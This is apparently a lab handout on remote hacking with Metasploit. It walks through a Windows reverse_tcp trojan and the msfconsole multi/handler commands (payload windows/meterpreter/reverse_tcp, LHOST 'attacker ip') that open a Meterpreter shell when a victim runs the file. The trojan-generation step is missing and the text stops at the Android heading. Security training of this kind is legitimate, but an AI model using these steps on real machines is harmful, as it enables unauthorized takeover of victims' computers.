Remote Hacking Lab 07 PDF
Remote Hacking Lab 07 PDF
Learning Objectives
1. Remote hacking.
2. How to remotely hack windows system via msf console.
3. How to remotely hack android phone via msf console.
Practice Exercise
Windows Hacking:
A trojan will be generated in the desktop. A Trojan or backdoor can give access to
target machine remotely. We are using reverse_tcp Trojan. Reverse_tcp Trojan is
a specially crafted malware that establishes a remote connection to the hacker
machine over the TCP from the victim machine. This allows the hacker to breach
into the machine and take full control over it. Transfer the above created file to
victim’s PC and move on to handler section.
2. Start the metasploit framework console as follows:
root@kali:-# msfconsole
3. Now it's time to open and setup multi-handler. Follows the steps:
msf>use multi/handler
msf exploit(handler)>set payload windows/meterpreter/reverse_tcp
msf exploit(handler)>set LHOST “attacker ip”
msf exploit(handler)>set LPORT 444
msf exploit(handler)>exploit
Payload Handler is being started........
4. When the victim clicks on the .exe file in his system, meterpreter session will be
established.
5. Type meterpreter>help to find a list of commands and use them to exploit the
compromised PC
Android Hacking: